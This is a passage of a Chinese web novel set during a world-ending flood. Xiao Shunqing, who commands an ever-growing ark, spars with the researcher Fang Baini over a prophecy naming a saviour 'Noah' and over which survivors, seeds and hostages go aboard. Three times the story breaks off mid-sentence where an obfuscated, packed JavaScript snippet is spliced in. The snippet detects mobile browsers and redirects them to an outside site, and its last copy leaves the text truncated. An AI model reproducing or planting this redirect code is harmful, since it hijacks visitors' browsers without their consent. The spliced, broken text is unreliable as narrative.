“那些被牺牲的人，难道不算人类吗？” 方柏霓：“你如果这么鼠目寸光，看不见长远的未来，那我无话可说。” 萧顺清手里拿着一本《圣经》，是她从前搜存物资时拿到的。 “诺亚得到神启，造船，带上家人，带上神所指示的动物，无论飞鸟昆虫，凡是洁净的，七公七母，不洁净的，一公一母，为的是保全它们的性命。” 她低喃的声音停在这里。 方柏霓目光落在《圣经》上，凝视着她被黑暗掩盖的面容。 “所以，你应该明白吧，诺亚的职责是延续生命的火种，萧顺清，人类在灭世之灾下，拥有了异能，这是神给的活路，你就是那艘拯救人类的船，萧顺清，你是诺亚，你是神选定的救世主。” 萧顺清抬起头，看着她，目光幽深嘲讽。 “诺亚？救世主？你为什么会觉得诺亚是救世主？按照神的约定，他带上船的，只有他的家人，一切神不满意的造物都被毁灭，神选定他是为了救世吗，神选定她，是为了更好地灭世……” 轮到方柏霓安静。 萧顺清失笑：“还是说，你想当我的家人？或者那些被诺亚带上船的牲畜？” 方柏霓面色灰暗，手心被自己的指甲掐得生疼。 “你所看的圣经是人的纸张写的，我们有真正的”圣经”，他所说的，才是神启。” “一个异能名是圣经的异能者？” “也许你说得对，诺亚不是救世主，但她所造的船，是人类最后的希望。” 萧顺清：“其实我一直很疑惑，你是神论者？未来基地的人，或者说知道你们救世计划的人，都坚信神的存在吗？” “神不一定存在，”方柏霓目光冰冷，她的确不像是一个疯狂的神论者，她只是寻找着人类存续的方法，恰好这条路是神论，“如果科学手段能够救世，我们不会走到今天的地步。” 古代封建社会，各类教派兴胜。难道求神拜佛的人都从始至终相信神的存在吗？不，她们只是因为，没有办法靠人的能力达成所愿，不得不求助于神。 身处囹圄，前路皆是死路，所以只有抬头祈求。 “愿闻其详。” 方柏霓仰头笑了一下。 “你想听，我还不愿意讲。” “那我们聊聊别……” 方柏霓：“当初，我跟随大部队，来到高原基地，在基地中修建了科研所，针对大洪水，从各个方面进行研究突破。一开始，我们发明了漂浮帐篷，改进了水下探照灯，试图造出更节能，更稳定的船只，还有人在研究大规模洪水之后，该如何防治疫病，如何兴建家园。后来，所有人都没能再研究下去。” “因为，我们意识到，可能没有之后。或者说，我们等不到洪水之后了。” “水位依旧在上涨，地面在塌陷，明明是高原，明明是深秋，气温却没有降低，高山的冰雪在融化。你知道吗？我们现在所在的河流，也许用不着十天，你站在对岸，再也看不见河那边有什么。” 方柏霓是一个很好的讲述者。因为她目睹了洪水来临后人类所做出的一切努力。 她是第一批转移的科研人员，和陈阳不同，她就算是残疾，也能凭借脑子争取到转移的第一线，不会有人放弃她，相反，一路上，有人心甘情愿地牺牲，就为了保全她们的命。 她和其他科研人员一样，曾经是人类的希望。 她们废寝忘食，日以继夜，为了能够救更多人而奋斗。 但是她们失败了。 人力终究抵不过大自然想要毁灭一切的决心。 方柏霓眨了下眼睛，只能用深呼吸来调整自己的状态。 “在造船计划宣布失败的那一天，一对被转移到高原的夫妻找到了基地上层，那位先生的异能，就是圣经，因为异能，除了升级时能够说出一句预言，其余时候都是昏迷不醒。他所说的第一句话是——羽人将会带来诺亚的消息，人类的未来在波澜之上。” 萧顺清消化了她所说的一切，说话间，方柏霓自己推动着轮椅转了身，空间不大的屋子，两个人的距离说不上太远，她能够看清方柏霓的侧脸。 方柏霓露出一种怅惘和悲怆。 她曾经是科研员，最坚定信念科学的一类人，但在这世道的逼迫下，她成了自己曾经最厌烦的神学者。 她没有别的办法，就像是为家人求医问药，却只能眼睁睁看着自己的孩子或者父母死去，无药可治，到这时，她们会跪在从前不相信的神佛面前，一一求过去。 萧顺清等待她收拾好自己的情绪，才问道： “预计还有多久，全世界都会被淹没？” 方柏霓：“33天。” 三十三天，人类的末日终究会来临。 萧顺清看了方柏霓许久，目光其实从未真正放在方柏霓身上，她看的是更多。 看的是一群人从壮志在怀到如今求仙问路，看的是人类从挣扎求生到听天由命，大约是被这满天的洪水磨平了棱角，方柏霓，还有她身后站着的那些人，相信自己能够救世，转变为祈求一个真正的救世主出现。 “你们想要找到诺亚，但找到之后呢，诺亚只是一个代名词，她并没有船的异能，据我所知，有些异能的名字很难推断人的能力。” 譬如尤晴。通过苏凤晚和李自，萧顺清知道她的异能名字叫做“羽人”，光从名字看海以为是个长毛的人，想象不出任何特殊能力实现的方式。 但尤晴有一双翅膀，飞翔速度极快，能够在天上飞翔，甚至也如同老鹰一般有着进化后的视力。 方柏霓知道自己已经没有别的选择，如果不说服萧顺清，她的一切努力就真的白费了。 到如今的地步，萧顺清问什么她就答什么。 “我们做过研究和统计，其实‘圣经’提到过的异能名字，都代指人。像治疗，加速，融……这类的词语，很显然不是人名，‘圣经’都没有提到过。但是‘羽人’和‘诺亚’，实际上都是神话传说里的人名。” 萧顺清知道诺亚是西方教义里重要的人物之一，国内也有这样的例子，但‘羽人’她确实没听过，也并不像人名。 “我们把‘圣经’提到的疑似人名的词都做了记录，只要查找就能对应上。” 在苏凤晚和李自做检测时，那个能输入查东西的电脑就是这个用处。李自的异能名有些像人名，但没有搜到信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137113|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪不得苏凤晚提到时，说电能储备很少，但依旧要供给基地口检测。 她们很重视。 方柏霓顺口解释：“‘羽人’是我们神话传说里的人物，或者说叫她飞仙更恰当，长着翅膀。” 萧顺清点了下头，接着这个话题问：“既然尤晴这么重要，为什么你们没有带上她。” 方柏霓目光突然直直落在萧顺清身上，像是要看她是真不明白还是装傻想要让她难堪。 她一时不说话，萧顺清脑子忽然又回忆起了方柏霓转告的那句话。 “羽人将会带来诺亚的消息” 羽人的使命已经完成了，她的确带来了有关于诺亚的消息，所以……鸟尽弓藏？ 萧顺清扯了下嘴角，原本因为“交心”软下来的思绪又硬起来了。 交流真是一把软刀，能磨得人没有脾气。 多亏了方柏霓对尤晴用完就丢的态度，萧顺清才又回过神来。 方柏霓她们的确是想拯救人类没错，但也不意味着她们就是纯善的好人，对于被救下的得益者来说，方柏霓她们是救世主，但对于被利用的人来说，这是群黑心肝儿的。 要是和平年代可能还讲究善始善终，但按照她们的想法，反正现在能活到最后的人都要精挑细选，“没用”的人，是不配活下去的。 说是救人，她们也不只是为了救人，更多的是为了人类背后的文明。 萧顺清打眼一看，方柏霓的轮椅不知道什么时候就近了，大约在一米左右。 她似笑非笑，心里有点无语但还确实想笑。 “方组长，你说了这么多，能不能给我介绍一下你的异能是什么啊？你突然靠我这么近，不会是想融合我的异能吧。” 她站起身，盯着方柏霓。 她个子并不算顶高，但却比坐在轮椅上的方柏霓看着高大健壮多了，气场也更加随意从容。 方柏霓的手从拘谨放在腿上变为搭在轮椅扶手上，姿态彻底松散下来。 “是融合。” 她不想多说，毕竟这都是她的底牌，虽然悄摸靠近萧顺清是有点不道德，但萧顺清把她骗上船难道就道德了？ 方柏霓被揭穿后反而气定神闲了，就这么靠在椅背上看她。 “行，我不问。” 萧顺清也不在意，反正她没多怕她的异能。要是真能隔空就害了她，她也不用担心了，一打照面就能被方柏霓拿下。 想必有限制，可能需要身体触碰，而且，萧顺清觉得，也未必不看等级。 她的等级……反正比方柏霓高，光看勤加练习的程度，方柏霓也不可能比得过她，要是她天天粘人，行为早就在基地传开了。 但是她关心着另一件事。 “你的异能会有副作用吗？” 方柏霓：“什么？” “融合后被解开的人会不会出现意识模糊，或者其他身体上的异常？” 方柏霓：“……你不是说了你不问。” “使用体验也不能说啊，不要啦，方组长，不要这么小气嘛。” 萧顺清一直带着似笑非笑的表情，手臂环胸，手手指却在方柏霓看不见的地方紧张抠自己的衣服。 方柏霓以前就用过异能，直到她的异能试用过后效果的一页不只她一个，萧顺清想问，也有别的办法。 她冷淡解释：“不会，融合后再分开两人都会恢复之前的状态，融合状态下，异能等级较高的为主导。” 萧顺清点头表示自己知道了。 “那你先待着，我去找人商量。”走了两步要开门出去了，她又好像想起什么似的转过头，不经意问，“和你一起上船的那两个，年纪大的那个是检测异能对吧？” 方柏霓讶异地坐直了身体：“你想做什么？你要测试异能？” “对啊，说了这么多，我不是还没有测试过吗，万一我不是你们说的那个诺亚，可就是白费口舌。” “嗯，她是，”方柏霓的确喜悦，少有的萧顺清不问她便提了一句闲话，“之前跟你说的‘圣经’还记得吧，她们是一对夫妻，当时她们找上基地，就是因为两个人的异能都有副作用，‘圣经’会昏迷不醒，而她自己会随着异能等级升高出现意识分离。” 萧顺清一时忘了呼吸。 方柏霓应该没有想到，她前头说了那么多艰苦卓绝如何拯救人类的大义之谈，还不如她随口一句闲话让她来得心神具颤。 夫妻，所以，那个‘圣经’……是她爸爸。 萧顺清忍了又忍，险些没忍住锤墙或者捂脸的动作。 她调整好语气：“这两个人看来是有用，不然，是不是就像尤晴那样，用过就丢了？” 方柏霓也坦然：“她们还有用，有用的人，在哪里都活得久。” 萧顺清呵呵笑了一下，方柏霓没听出来情绪。 但是出了门，萧顺清就没忍住骂了句脏话。 “草你大爷……” 小声骂完一句，萧顺清觉得有点解气了，但还是想报复回去。 论起来方柏霓没有做什么害她父母的事，所以这“报复”好像不能实打实到位，但不多吓吓她，骗她几回，萧顺清心里顺不下气。 这边完事，萧顺清又去了关着施道玄的屋子。新上船的三人，方柏霓是单独关着，那个治疗系则是送入了施道玄的房间。 想必她是认识施道玄的，上船之后慌了一会儿，估计知道她们中计了，但眼看着施道玄意识不清还傻笑的样子，赶紧做了治疗。 萧顺清也看了一会儿，发现很多异能实际上都要肢体接触才能成功。 和苏凤晚她们交流信息的空挡，萧顺清也看着施道玄被治好了，就是人安静了，缩在角落里，很有坐牢的自觉。 妈妈那边她又去看了一次。 母亲叫萧凤，以前是个温柔的性子，但温温柔柔间总是会把自己想办的事利落办成。精明是个好词，她觉得自己的母亲确实很精明，直到什么样子对自己最有利，也从来做的都是对自己好的选择。 但是那么聪明一个人，把自己的事想得明明白白一个人，现如今变成这样木楞的样子。 想必她在发现自己异能缺点后就明白什么自己最好的选择。所以趁着自己还清醒，带着同样后遗症严重的父亲投奔了基地上层。 这样的异能，放在普通异能者小队没有丝毫用处，普通人不会想着拯救世界，也不会专门给异能安排名字，只有基地上层能用她们。 最后也成功活到了现在。 也许换个人来，并不会选择这么活着，失去思考的能力换来活着的机会，萧顺清自己就不能接受。但这是母亲自己做的选择。 没有交流，萧顺清就这么安静地跟萧凤坐了一会儿，离开了。 她该去和方柏霓商量未来的事了。 33天，不短，也不长。 62.贼船 船又不能隔绝异能的使用，二楼以及船下那些方柏霓带过来的人，能够和外界联系的异能都使了出来。 结果就是，所有人还是一无所成。 二楼的人已经没有了脾气，除了尤晴之前不明不白打了个“电话”，她们再也收不到外界的消息。 几个小时？十几个小时？ 没有钟表，她们对与实践的判断总是不准确的，似乎时间一点没有流动，如同凝滞的泥浆，只能以缓慢的速度流动。 张蔷颓然地坐在封闭的楼梯口，即使知道上头的人打开这里的几率渺茫，但她还是下意识坐在了这里，等着有人下来时，按着她们在地上打一顿，质问为什么要这么对待自己的同类。 大家都是人，为什么要这么残忍。 因为她的异能是听力相关，坐在离上面更近的地方，也是想要偷偷听到些信息。 不过萧顺清防着她，船上涉及秘密的地方，隔音尤其好。 她最终什么也没有听到，也没有等到楼梯口的开启。 但是，她听见一阵嘈杂，好像蒙在她们头顶的被子被拿开一样，新鲜的空气吹拂进来，水汽的腥湿伴随着席卷的风吹了进来。 船头的门，开了。 张蔷站起来，一时不敢置信。 但是离船头更近的人欢呼雀跃，喜悦让她们一时想不到为什么忽然船门就开了，船头甚至还有通往下方的楼梯。 毫无阻拦，甚至有点慢走不送的意味。 有的人随身家当就一点东西，她们背着个包袱根本不用特地收拾，直接冲下了船。尽管被雨淋了身体不舒服，但这是自由啊！ 她们在自由里狂奔，在自由里呐喊，然后发现自己身边好像没有跟上太多人。 心里咯噔一下，雨点和心跳一样急促，她们回头看过去，没有看见血流成河的场面，但是所有人都站在船头，既不敢下船，又满面愁容。 “下来啊！还等什么呢？” “对啊，我们不是要去找尤队长吗，她肯定在未来基地等着我们呢！” 有几个在船头徘徊，她们也看不清那些人究竟在干什么。 未来基地的人见到有人从船上下来，赶忙过来担心地询问。 “我们方老师呢？方老师怎么样了？” “还有施组长，你们为什么不放了施组长？” “为什么不让我们一起上去？” 一连串的问题，把先下船的人打懵了，看看这个看看那个，确认眼前这么多人不是她们之前队伍里的，她们以前没有见过。 “你们是哪里来的？” “未来基地。” 所有人眼睛都亮了，踏破铁鞋无觅处得来全不费工夫，一下船就有人来接她们去未来基地，官方的待遇就是靠谱。 她根本不回复那人的一连串问题，毕竟她也答不上来，那些话里的人她都没听说过。 眼下，她更兴奋地冲船上的人招手。 “快来啊你们！这是未来基地的人！来接我们的！” 船上，众人的心情简直大起大落来回拉扯。 一开始看见们开了，所有人都一股脑的往船外跑，不疑有他。 直到一个人忘记自己还有东西在船上，想要返回去取，却发现自己连台阶都跨不上去。 那一瞬间，所有热血都被浇了个透心凉。 “下了船，就再也回不去了。” 原本她们欢欣鼓舞地想要逃离，但一想到再也回不到船上，没来由地开始心慌。 或许是她们已经住了一段时间，对于船已经有了归属感，或许是她们从来没有想过，原来奔向基地和留在船上不可兼得。 还下船吗？ 那几个跑得最快的人不知道这回事，还在催促她们赶紧下船，和未来基地的人一起回去。 未来基地的人面色难看，一把拽住眼前人：“我问你刚刚上船的人呢？！” 被抓住的人缩着脖子，有些懵，但还是答道：“我们，她们她们马上下来，我催催她们。” 她以为是这些人等得不耐烦了，以前也不是没见过，毕竟是逃命旅程，都争分夺秒的，她也不知道这会儿后面那些人在搞什么，明明门户大开，却迟迟不下船，等得人都着急了。 未来基地的人得到答案，并不知道两人讲的不是一回事，压下焦虑的心等着。 拥有通话异能的人揉揉脑袋，走过来安慰她。 “等五分钟，我休息好了就联系她们。” 上一次联系，方柏霓并没有对她们做回应。 听说船上的人也有一个异能能传递消息，人数有限制，还不能多人通话。 她们的通话异能只要选定目标，连周围的环境音都能听进去，在目标周围的人都能听见传话，比那个传音入心的更像打电话，但就是时长有限制。 现在在异能冷却期，很快就能联系上了。 船上二楼，听见催促声后，纠结的人内心更加纠结，有些人则是坚定地带着自己的行李下了船。 “你们傻不傻，把东西全都带走，我们搬到基地去住，还用得着回船上吗？” “就是就是，你们还想过随时会被人关起来的生活？” 一大批人下了船，头也不回，另一小撮人犹犹豫豫下了船，还一步三回头。 但一切都在最后一个人下船时尘埃落定。 楼梯口瞬间消失不见，揭示了有人一直在关注着她们，等到她们都下船的这一刻，收走她们的退路。 即使没有收走，她们也上不了船。 尤晴不在，张蔷俨然成了队伍里的主心骨。 “走吧，别让基地的人等太久。” 收回视线，即使心里再忐忑再不舍，她们也要离开船了。 说来奇怪，明明迫于无奈上了船，明明一直想要重返陆地，但真的到了这一刻，竟然是船上的生活更让人有安全感。 萧顺清在三楼，没有避着人，坐在船头看岸上的人影。 身后有人问她： “真的让她们全都下去了？” 萧顺清随意点了下头：“你是觉得不该放了她们还是应该让她们留在船上占我地方？” 李自端端正正站着，身材魁梧，面容却十分平和。 “原本她们可以不需要争抢就能留在船上。” 萧顺清摇摇头：“也许她们更想离开，我的船又不是金屋，就算是金屋，也有人不爱金子爱自由。” 李自：“这不是金屋，是活下去的机会。” “所以，让她们公平竞争，不好吗？” 李自看着她，目光里有很多复杂的情绪，萧顺清觉得他想说的不只这些，但李自最终什么也没有说。 萧顺清觉得有些莫名，但李自已经叹息一声走开了。 她又一个人待了一会儿，直到船下的人联系上方柏霓，她等那头寒暄了两三句话，才以不速之客的状态进入方柏霓的房间。 “怎么样，商量好了吗？” 那头的人吓了一跳：“谁？方老师你没事吧？” 萧顺清心情还不错：“别着急，方老师只是有话要说。” 她用催促的眼神示意方柏霓继续讲，方柏霓握紧了手，受不了她这样一幅命令的姿态。 她以前的地位，使得她从来没有被一个这么年轻的人指挥过，现在受制于人，滋味相当不好受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162420|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “曾泽然，三天之内，将我们收集到的留存物种转移到船上，能够按照之前的计划，植物中，农作物的种类务必齐全，其次是珍稀物种……” “等等，”萧顺清打断她，“农作物我没意见，眼下的情况，还要留存珍稀物种？据我所知，很多濒临灭绝的物种都是因为生存条件不合适，船上可没有培育它们的空间和条件。” 方柏霓：“……我们团队之前研究过，只要有保温箱，加上异能者辅助，留种没有问题。” 萧顺清其实并不理解这些人为什么一定要浪费空间保存很难活下来的植物，但是……无论是什么作物，上了船就能对增加船上的‘环境承载力’，为她之后接收上船的让你做好准备。 同意要接收幸存者，船上人数增加，到时候船的升级成为必然，她可能会因为疼痛直接昏过去，如果先增加环境承载力，可以减少意外情况发生。 方柏霓继续她的交代，萧顺清听着，并没有避开的意思。 很没礼貌，但非常理直气壮。 这是在商量她们弄什么东西上船的事，她难道不能听吗？除非她们想聊些对她不利的计划，那她就更要听了。 方柏霓握紧的手紧了又紧，还是没有说多余的话。 交代完植物的事，那人的异能时长已经快用完了，她急忙问道： “方老师！你什么时候能下船？” 她不回去，基地没有主心骨，总是担心不已，虽说后面肯定要一起上船，但现在把方老师单独留在船上，不知道会遇见什么危险。 如果可以，她们都希望方老师能够先回去，确认平安。 方柏霓看了萧顺清一眼，最后低声道：“我等你们上船。” 通话结束，两人又彼此相看两相厌。 方柏霓：“我可以留在船上当人质，但你什么时候把其他人放回去？” 萧顺清给她开了一个小窗，让她能够看见外面人头窜动的样子。 “我放了啊，二楼现在一个人都没有。” 方柏霓追问；“施道玄？萧凤？” 萧顺清挑了下眉：“你很看中这两个人，另外两个呢，你不在意？” 方柏霓：“她们的确重要，实在不行，你把施道玄放回去，没有我在，施道玄也能领导她们，不然人心浮动，可能会出事。” 萧顺清像听不懂她的话：“那我把另外两个先放回去。” 方柏霓气急：“你！你故意的！” 萧顺清点头。 “我看你的人不像是因为你活着施道玄不见了就乱作一团的人，而且，你刚刚不是说，你们原本就有计划？你们不在了，她们也能根据计划行事。” 方柏霓明白她是想留下更重要的人质，她越看重，萧顺清越不想放人，二楼那些，数量多，但她们不在乎，尤晴又不需要再威胁，所以她说放就放了。 但是自己刚刚显露出对施道玄和萧凤的看中，萧顺清绝不会放过这个拿捏她们的机会。 方柏霓自己捋顺了气，又道：“那你把萧凤也放了吧，她只是个测试异能的人，你已经确定自己是诺亚，就不用留着她了吧，我不是为她讨活路，放她下船，她的异能也不会进入最后上船人的大名单，留着没有用。” 她捋顺的那口气堵在了萧顺清心里。 “我就不放。谁说我测了异能，我没测啊，我要留着她，以后慢慢测。” 方柏霓脸色大变：“你没有测异能？那你到底是不是诺亚？你在骗我？” 萧顺清抱臂看她，面容随着话语一点点冷淡下来： “就算我不是又怎么样，上船容易下船难，尤其是，我这可能，是一艘贼船。” 63.预言 堂而皇之宣布自己这有可能是一艘贼船之后，萧顺清不出所料地看见方柏霓的表情剧烈变化。 震惊到空洞失语，然后变得愤怒狂躁，几乎要从眼睛里喷出怒火来烧死萧顺清。 她的声音低哑阴沉，像是被人扼住了喉咙，用尽肺部的力气拼命质问，又像是冷静到极点，声音冰凉如水。 “萧顺清，你在玩儿我？不，不不不，哈哈，你是想拉着所有人去死？你为什么要这么做？骗我，骗我们所有人既不利己也要害人。我错了萧顺清，我应该亲自和‘瞬移’一起去抓你，在见到你的第一时间让你只能为我所用，你是个疯子……” 她的声音隐隐绝望，那是希望破碎之后的痛苦。 在刚刚，她如此相信萧顺清是那个救世主，可是，萧顺清告诉她，她压根儿没有兴趣做什么异能检测。 她们无法确定萧顺清是不是诺亚，却要将人类最后的希望寄托在这个冷酷的女人身上。 萧顺清面对那指责，想要笑一下，却又笑不出来。 最后表情古怪，声音冷淡道：“方柏霓，我已经不知道了，究竟是诺亚重要，还是救世重要？我接收你们想要保存的植物，接收至今仍在挣扎求生的幸存者，我有一艘难以沉没的船，可你因为我有可能不是诺亚而愤怒，我不明白，方柏霓，你究竟想要的是救下人类，还是抱着那个模糊不清的预言去死？” 方柏霓痛苦地闭上眼，脑袋后仰，与轮椅发出闷闷的碰撞声，她已经失去争辩的力气。 她想要反驳萧顺清，却无从说起。 明明萧顺清只需要测试一次，所有人都会安心，可她偏不。 种种迹象都说明萧顺清就是她们要找的人，可就算是百分之零的概率事件也有可能发生。 这样涉及几乎地球上所有生物的大事，她该怎么完全相信一个骗过她的人？ 萧顺清特意等了一会儿，没有等到方柏霓的问话，还有些担心她是不是被自己气死了，但看见她剧烈起伏的胸膛，耸了下肩，留下一句。 “也许每个人都是薛定谔的诺亚。” 如果‘诺亚’是救世主，那么当一个异能不知道名字时，谁都有可能是那个‘诺亚’。 萧顺清不会做什么检测，这就是她和方柏霓这些人的不同，如果她不是诺亚，那么她们一定会继续等待，等到最后一点陆地都被水淹没，即使她也有一艘足够容纳成千上万人的方舟，她们也不会相信她。 而她，确实不希望有人相信她。 在这艘船上，不需要救世主诺亚，只有一个萧顺清，和所有登上船，奔向新生的所有人类。 她们不会将所有的希望寄托在萧顺清身上，为她生为她死，同样也要她生要她死…… 萧顺清平静而笃定地走出房间，方柏霓会想清楚的。 三十三天，多么短暂的时间，如果不在此刻进行她们的计划，如果诺亚直到第三十二天才出现，那么她们的等待将毫无意义。 计划，如约而行。 在所有人不知不觉间，船体悄无声息变得更大，内部的空间足够宽阔，仅仅从外表看去，这艘船就像是一座山峰，可水面隐藏着船的底部。 看见那水面衔接之处，人们只会怀疑，这露出的庞大船体，只是冰山一角，在这艘船下方，还有着更多无法探知的东西。 在一个房间内，苏凤晚隐约察觉到头顶和脚下的船身变动，从窗口望去，似乎只能看见茫茫的水面。 但是，这水面是不是变得矮了？ 不，不对。 是她所处的位置变得更高了。 “她又升级了。” 真快，难道是因为时间越来越紧急，竟然让萧顺清都感觉到不得不再加快速度升级吗？ 察觉到船身变化的人不约而同猜测起萧顺清的状态，但是从稳定发展的船身来看，萧顺清似乎还好。 因为这一层想法，众人心里的担忧不知不觉放了下来。船还在行驶，这就是萧顺清不会出什么事的证明。 反过来说，只要萧顺清好好活着，船就永远不会消失。 施道玄平静靠在墙角。 船的隔音很好，但也许是萧顺清没有将她特别放在心上，在她所处的房间内，随着船的增大变化，房间内浮现出一个窗口，世间所有的声音从那个窗口中冲进来。 忙碌，欢呼，急躁……施道玄分不清，但当她试图将那些声音摒弃时，那些东西反倒更加让人在意。 为什么忙碌？计划开始了吗？这么随随便便，她都还在船上，没有人跟她联系，甚至就连萧顺清也不来看她，毫不在意的将自己和其他两个堪称同伴的人关在一起，不害怕她们讨论出什么会害了她的事。 计划开始了，但她对计划没有丝毫的把控，在她完全不存在的情况下，方柏霓和萧顺清达成了共识。 施道玄心里好像哽住了，但她告诉自己。 这样也好，她们原本也就是想要促成现在的情况，也许这过程中她起到的作用并不大，所以可有可无。 可有可无。 那个治疗心里始终慌乱，她做不到像聋哑瞬移异能者一样完全缩在角落，甚至可以不发出一点疑问。 她看着施道玄思考，又急促呼吸，终于忍不住了。 “施组长，这到底是什么情况，为什么我们和方老师失散了，又根本没有人搭理我们，就算是方老师说服了诺亚，那我们呢？为什么既不放我们下船，又不告诉我们留着有什么用？” 她们明明有三个人，却那么孤独地各自待着，就好像被放弃了一样。 没有人在意她们。 是不是到最后，她们也会被舍弃？毕竟方柏霓最不在意的，就是无用之人。 施道玄轻声道：“安静些吧，至少无用之人没有做无用功。” 虽然她好像什么也没有做成，但结果是好的。 治疗烦躁地锤了下墙。 “无用之人？施组长，你真的觉得我们是无用之人吗？是啊，只要最后所有人都上了船，我们还能起到什么作用呢，毕竟我们的作用，只是实行你们的计划，找到诺亚而已，对吗？所以方柏霓抛弃我们了吗？未来的计划没有我们了吗？” 她急切的话语堪比扎心的刀，戳破了施道玄的防护屏障。 是啊，她是不是没用了，所以在救世计划开始后，被所有人遗忘了。 若说是因为她们直接被留下了，未来也能够长久的留在船上安稳度日，施道玄的身份也太奇怪了。 她竟然和两个普通的异能者在一起，其中一个甚至是救世计划定下之后，几乎毫无用处的瞬移。 如果不是这次她要快速移动抓住萧顺清，瞬移异能压根不在方柏霓所选定的上船范围内。 “施道玄，你要明白，我们所有人上船只为了一个计划，那就是真正的救世，我们要让所有人在船上过上新世界的生活，不用再担心某一天水从天上降下，不用担心某一天河里的怪物爬上了岸。到那时，很多异能都没有用了，我们需要的是能够带领人类走向未来的新人类。” “道玄，无用之人，没有未来。” 施道玄表情很冷，吓得原本在等她解答的治疗渐渐屏住了呼吸。 尽管她们都称呼方柏霓为老师，但她们都很怕她，因为方柏霓很聪明，带领着她们坚定不移的等待寻找，她们会被方柏霓冷冰冰的态度刺伤，但又不得不为了那个拯救人类的理想而奋斗。 而施道玄，即使她们都用施组长这个疏离的称呼，但所有人都知道，施道玄比方柏霓更平易近人，她总是温柔讲述，让所有人不由自主的信服。 可是她看着施道玄的表情，觉得她好像也很让人害怕。 “施组长，你，你怎么了？” 施道玄知道自己真的着急了，她想确认，难道她只是个没有用的人？ “小月，你觉得我还有用吗？”意识到这句话可能得到一句恭维，对人心有所把控的施道玄又换了种说法，“如果我的异能用不上了，是不是也会被方柏霓放弃啊。” “施组长？我，我不知道你的异能是什么。” 即使施道玄换了说法，小月依旧感觉到了这问题的危险。两个领导，她哪有什么本事评判这两人的关系，什么有用无用，她难道可以直接说‘是的，方老师肯定觉得你没有用了’？ 她说什么都不对。 但是，她被施道玄忽然的变化吓到，反而冷静下来。是啊，为什么要听施道玄评判自己有没有用呢，她可是治疗，眼下的情况，船上不可能有治病救人的医生，活下去的人一定会需要她。 她不可能没有用。 就算是对方柏霓没有用，其他人也不会觉得她没有存在必要。 与之相对的，是施道玄。 施道玄问了问题，却自己在心里找到了答案。 多好揣测啊，她的异能是‘蛊惑’，那个萧顺清能把她抓来，也把方柏霓抓来，不是个会接受方柏霓领导的人，那么她是想自己当所有人的领头人。 毕竟她才是真的提供了这艘船的人，如果换做是任何人，也不可能让别人抢走救世的功劳。 那么想要巩固救世主的统治，底下人的‘蛊惑’就根本没有任何用处。 这只会造成分裂，让救世主拥有的拥戴不齐全。 方柏霓能够忍耐她，因为她们是合作关系，方柏霓没有她无法煽动所有人推进计划，但是萧顺清，真的不需要她。 所以，抛弃她转而和萧顺清合作的方柏霓吗，也不需要她。 施道玄再次在心中掀起了波澜，她想要见人一面。 不管是方柏霓还是萧顺清都行。 当然，她没有等到方柏霓，一天后，她见到了萧顺清。 “你是这艘船的主人？” 虽然是问句，但语气已经笃定了。 能够在这艘船上自由穿梭的，不是船的主人还能是谁。 萧顺清看看房间内三个角落里的人，心里有些奇怪。 她原本以为能够制定出救世计划的团队应该很团结，就算是方柏霓有点冷血，那也是对她认为没有利用价值的人。 但是很奇怪，她们竟然真的像陌生人，甚至可以说像防备彼此一样，尽管这个屋子很小，还是选择了距离彼此最远的角落待着。 萧顺清回答了施道玄的疑问：“对，我是。” 同时激动起来的还有小月，她兴奋地站起身，冲着萧顺清跑来。 “我是治疗异能，我能留在船上吗？” 萧顺清的确知道她是治疗异能，虽然方柏霓不在意这个人，但她觉得治疗系确实还不错。 之前尤晴带领的队伍中普通人容易生病，如果决定将这艘船当做接收幸存者的新世界，那么有治疗系能省很多事。 但她没有直接答应，因为她捕捉到了施道玄那瞬间的眼神闪烁。 她心里慢慢升起了疑惑。 为什么？ 施道玄在想什么？其实如果可以，她还想问问施道玄知不知道方柏霓在想什么。 自从她昨天告诉方柏霓自己没有做测试，方柏霓就像是个心死的行尸走肉，尽管她并不自卑，但想想自己好像也没有那么气人，竟然能够将一个冷静的领导式人物气成这样。 有原因，方柏霓已经拒绝交流，甚至就连外界有人通过通讯联系她，方柏霓也完全不回应。 萧顺清直觉自己与方柏霓关系紧密的另一个人应该知道为什么。 所以她来找施道玄了。 果然，方柏霓真的有事没有告诉她。 她没有回答小月的话，只是笑了一下，将房间单独分隔开来，只留下她和施道玄。 高悬的小窗户，照进来一点光亮，衬得这里更像是囚禁什么人的监狱。 萧顺清下意识再次改变房间结构，窗户变大，让更多的光照进来。 她也看清了施道玄的笑容。 她明白了，想和对方聊聊的不只是自己。 施道玄柔声问：“你来找我做什么？难道方柏霓和你的合作计划让你并不满意吗？” 萧顺清感觉到头脑中有一丝怪异感，立刻冷着眼神看着施道玄。 “你不考虑收掉你的异能吗？” 这样的感觉，除了施道玄的异能不作他想。 之前在高原草地上奔逃，施道玄无法撼动她的神志，现在也不能。 但她很讨厌施道玄算计她。 就像方柏霓一样一开始只想着暗算她。 所以她决定，和施道玄的聊天，她也只听一半。 施道玄微微一笑，如她所说收了异能。 尝试控制萧顺清是下意识的行为，她相信萧顺清能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 